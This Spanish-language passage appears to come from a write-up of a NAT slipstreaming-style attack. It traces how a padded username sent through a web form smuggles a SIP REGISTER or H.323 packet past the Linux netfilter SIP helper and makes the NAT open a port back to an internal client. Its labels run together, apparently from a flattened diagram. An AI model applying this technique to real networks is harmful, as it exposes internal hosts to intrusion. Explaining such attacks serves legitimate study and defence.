username especialmente manipulado, forzando la fragmentación IP y el control preciso de límitesusername se "rellena" hasta el tamaño exacto del segmento TCP / límite del paquete, luego se añade “paquete H.323” y se envía mediante un formulario webprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) el manejador abortará a menos que el método (por ejemplo, REGISTER) ocurra al inicio de la porción de datos del paquete (TCP o UDP) como vimos con INVITE arriba... REGISTER es solo otro comando SIPprocess_register_request(...)nf_ct_expect_init(...) a través de sip_handlers inicializamos el agujero del cortafuegos (puerto para permitir que un remoto se conecte de vuelta), pero aún no lo abrimosnf_nat_sip_hooks -> nf_nat_sip(...) el NAT también modifica (reescribe) la dirección IP interna del cliente por la IP pública del NAT para que el destino pueda alcanzarlo correctamentesip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) ahora estamos viendo la respuesta SIP del servidor SIP
process_register_response(...) -> refresh_signalling_expectation(...) el puerto es reenviado por el NAT solo después de que el servidor SIP envía una respuesta SIP válida